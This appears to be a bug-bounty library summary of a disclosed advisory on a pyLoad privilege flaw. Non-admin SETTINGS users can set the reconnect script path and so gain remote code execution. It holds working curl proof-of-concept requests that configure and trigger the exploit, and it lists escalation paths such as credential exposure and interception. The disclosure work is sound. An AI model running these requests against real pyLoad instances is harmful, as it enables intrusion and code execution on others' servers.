# pyLoad SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration

pyLoad's set_config_value lets SETTINGS-permission users write reconnect.script, which thread_manager passes to subprocess.run, yielding RCE as the pyLoad process user.

- Payout: Research
- Severity: high
- Program: pyLoad
- Found by: offset
- Disclosed: 2026-03-20
- CVE: CVE-2026-33509
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-r7mc-x6x7-cqxx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-r7mc-x6x7-cqxx
- Tags: area:web domain:oss domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high technique:source-review vuln:access-control vuln:misconfiguration vuln:privilege-escalation vuln:rce

**Target:** pyLoad web API /api/set_config_value and thread manager reconnect logic
**Root cause:** set_config_value() only validates general.storage_folder; all other config options including reconnect.script are writable by non-admin SETTINGS users. thread_manager.try_reconnect() passes that config value straight to subprocess.run() with only an os.path.isfile() check.
**Steps:**
1. Authenticate as a user holding the non-admin SETTINGS permission: `curl -c cookies.txt -X POST 'http://target:8000/api/login' -d 'username=settingsuser&password=pass123'`
2. Point the reconnect script at an existing executable: `curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core'`
3. Enable reconnect and widen the time window via the same endpoint: set `reconnect.enabled=True`, `reconnect.start_time=00:00`, `reconnect.end_time=23:59`
4. Wait for the core loop's thread manager to call try_reconnect(), which runs `subprocess.run(reconnect_script)`
5. If only ADD permission is held, download an archive containing an executable script so it lands on disk with execute bits
**How found:** Code review of the API permission decorators: noticed set_config_value() had a single hardcoded guard for general.storage_folder, implying every other option is writable by SETTINGS users, then traced which config values reach dangerous sinks and found reconnect.script flowing into subprocess.run().
**Exploitation:** A SETTINGS user writes reconnect.script to any existing executable path, enables reconnect and sets a 24h window, then the thread manager's try_reconnect() invokes subprocess.run() on it, executing attacker code as the pyLoad process user. No arguments are passed (shell=False), so the file must already exist and be executable; ADD permission allows staging one via archive extraction.
**Escalation:** Same unrestricted config write also exposes proxy credentials via get_config(), allows redirecting syslog to an attacker host, disabling SSL, rebinding webui.host to 0.0.0.0, and swapping SSL cert/key paths for MITM. toggle_reconnect() needs only Perms.STATUS, an even lower privilege.
**Insight:** When an API exposes a generic config-write endpoint, enumerate every config key that reaches a sink (subprocess, file paths, hosts, credentials) rather than trusting the one hardcoded guard; a single special-cased option usually signals the rest are unvalidated.

## Proof of concept (copied exactly from the original report)

**API call setting reconnect script path**

```
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core'
```

**Web UI save_config setting script and enabled**

```
curl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \
  -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'
```

**Enable reconnect and set timing window**

```
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=enabled&value=True&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=start_time&value=00:00&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=end_time&value=23:59&section=core'
```

